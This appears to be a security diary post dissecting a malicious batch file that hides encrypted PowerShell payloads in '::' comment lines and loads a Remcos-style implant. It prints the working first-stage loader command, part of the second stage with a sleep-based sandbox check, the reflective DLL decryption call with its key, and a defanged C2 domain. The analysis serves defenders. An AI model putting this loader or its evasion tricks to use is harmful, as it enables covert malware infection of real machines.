Windows batch files (.bat) are often seen by people as very simple but they can be pretty complex or.. contain interesting encoded payloads! I found one that contains multiple payloads decoded and used by a Powershell process. The magic is behind how comments can be added to such files. The default (or very common way) is to use the "REM" keyword. But you can also use a double-colon:
REM This is a comment :: This another comment
The batch file contains some simple commands hidden in a lot of comments. Let's extract them:
remnux@remnux:/MalwareZoo/20240125$ grep -v ^:: sextest.bat
copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y "%~0.exe"
cls
cd "%~dp0"
"%~0.exe" -noprofile -ep bypass -w hidden -Command "$eqvEOQH = [System.IO.File]::ReadAllText('%~f0').Split([Environment]::NewLine);$AhOJFzH = New-Object Collections.Generic.List[string];foreach ($JjmEcsD in $eqvEOQH) { if ($JjmEcsD.StartsWith(':: 03')) { $AhOJFzH.Add($JjmEcsD.Substring(5)); }}$zYkikwZ = $AhOJFzH | Sort-Object { $_.Substring(0, 10) };for ($i = 0; $i -lt $zYkikwZ.Count; $i++) { $zYkikwZ[$i] = $zYkikwZ[$i].Substring(10);}$MKloVOQ = $zYkikwZ -join '';$MKloVOQ = $MKloVOQ -replace 'PATH' ,'%~f0';%~f0.exe -command $MKloVOQ;"
We see that a copy of the PowerShell interpreter is created in the current malware directory (to not reveal the presence of a PowerShell script being executed.
By checking carefully these comment lines, we can see “patterns”:
:: 040000005744C6xgzXgCznz8sdfrUzK5RQk/LUV957oc2E8WXtveFI9mpR/9Bj :: 050000001198UICAUAAgEcCgQAAQocBQACHBwIBgABARKBBQMAABwHAAIBHBGA :: 010000000089TYVNnzqps3kLdmWHzsBwxDxAbn0JZz6tvsk3+oEbDG5s0mBZTo :: 050000000734AAAIYYUQA3AAYAQCMAAAAAkRgEBgYBBgAAAAAAAwCGGFEAAgIG :: 040000007998evIrLrjl+A4H4PdWlNt+RQ0HgDtgR7rCgj4asVtU1WsoQBA5t7 :: 040000000712WaP8gsglyxm1IaVDyArJi7V5QDhp2Ff1a6dFGjqjT8IdP3l4+O :: 040000008028J3usn7+3nrCn0eDeiYetSpI8iV5CSMo+FlY/vnhybAKPqbbmhM :: 0400000064413m2lzWNUiuz87jOzmHIZbhtlpmcQiE9LRZ4ixH8G/3CHSFc+Ne :: 040000007617hqrMGS+9X+qt9JBBA4VPCCxvDk+hx2qCcDzuckAznHxx3yoa2V :: 010000000112pT9Yvnan3j4Sa6mVYDXlGVHyzlw4ykK2fMXAXpwOrvRiI9wE2O :: 040000006979OO/L0PTZUfwAGjvekODlmfZl+e0tk6f7Swfn3cz1Wopjg8OjVs :: 040000001765dKnKxxIXTbbRdCiHXaR87i0qLaaqnIy8ENJwU9JOspP/c/QLuX <---> Payload ID <--------> Key for sorting <------------------------------------------------> Base64-encoded payload
The first five bytes identify the payload and the next ten bytes are used to sort the lines and reconstruct the payload.
As seen in the PowerShell code above, it searches for lines starting with “:: 03”. That's our first payload. We can easily extract it with a simple shell command:
remnux@remnux:/MalwareZoo/20240125$ grep "^:: 03" sextest.bat | \ cut -c "6-" | \ sort | \ cut -c "11-" | \ sets.py join "" | \ sed "s/;/;\n/g" | \ grep -v ^Write
We search for the payload ID (":: 03") and remove it, then we sort all lines (based on the key. We remove the key, join all lines, add some carriage returns to beautify the code, and remove all "Write" lines because they pollute our code.
The result is another PowerShell payload
$endTime1 = Get-Date; $endTime2 = Get-Date; $elapsedTime = $endTime2 - $endTime1; Sleep 2; $endTime2 = Get-Date; $elapsedTime1 = $endTime2 - $endTime1; If($elapsedTime -eq $elapsedTime1) { Write-Host $true; Exit; } Else { Write-Host $false; $peyMmIfo = [System.IO.File]::ReadAllText('PATH').Split([Environment]::NewLine); $tvKYRXsXNd = New-Object Collections.Generic.List[string]; $WwGwkLIWKf = New-Object Collections.Generic.List[string]; $TcjSZsRACN = New-Object Collections.Generic.List[string]; $wXJVfJXfQq = New-Object Collections.Generic.List[string]; foreach ($PrMeNolX in $peyMmIfo) { if ($PrMeNolX.StartsWith(':: 01')) { $tvKYRXsXNd.Add($PrMeNolX.Substring(5)); } if ($PrMeNolX.StartsWith(':: 02')) { $WwGwkLIWKf.Add($PrMeNolX.Substring(5)); } if ($PrMeNolX.StartsWith(':: 04')) { $TcjSZsRACN.Add($PrMeNolX.Substring(5)); } if ($PrMeNolX.StartsWith(':: 05')) { $wXJVfJXfQq.Add($PrMeNolX.Substring(5)); } }; ...
First, the script implements a simple but effective anti-sandbox technique: It tries to detect if a sandbox is trying to alter the sleep() calls.
Then we see that the PowerShell implements the same technique as the first stage and extracts four new payloads from the original file. Extracted payloads are encrypted. They are processed via a function provided by a DLL called "Tak Tak":
$decryptfunc = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($LRueORPK)).GetType('TakTak.TakTak1').GetMethod('DecryptData');
Then, payloads are decrypted like this:
$newguy2Byte = $decryptfunc.Invoke($null,@([Convert]::FromBase64String($zkizFrkv),'82ITz5oEl3IQiNVYXobiCseW27qDEJ8x9q61rzupo5w=','GK5hjp3Y07IMOh0Ll3+43A==',1));
Some tool names are also encrypted and the strings are reversed:
$saksaksak = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ZXhlLmxvUHNhQ1w5MTMwMy4wLjR2XGtyb3dlbWFyRlxURU4udGZvc29yY2lNXHN3b2RuaVdcOkM=')); $saksaksak1= $saksaksak.ToCharArray(); [array]::Reverse($saksaksak1); $saksaksak2 = -join($saksaksak1);
$saksaksak2 contains "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe". It's the Code Access Security Policy Tool provided with the .Net framework[1]. In the same way, $saksaksak5 contains "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" [2].
Once the final payload is launched, the malware connects to its C2 server: mehmetemreural[.]net. It connects through port TCP/443 but it's not HTTPS, have a look at the capture below:
The batch file VT score remains low (1/60)[3]. The C2 domain has been flagged in a previous Remcos campaign that also used an obfuscated batch file but a different technique.
[1] https://learn.microsoft.com/en-us/dotnet/framework/tools/caspol-exe-code-access-security-policy-tool
[2] https://learn.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool
[3] https://www.virustotal.com/gui/file/3b87198e56c9166ea0ec06db5a91f3373cd299d2be6d088008341fb7801b5027
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key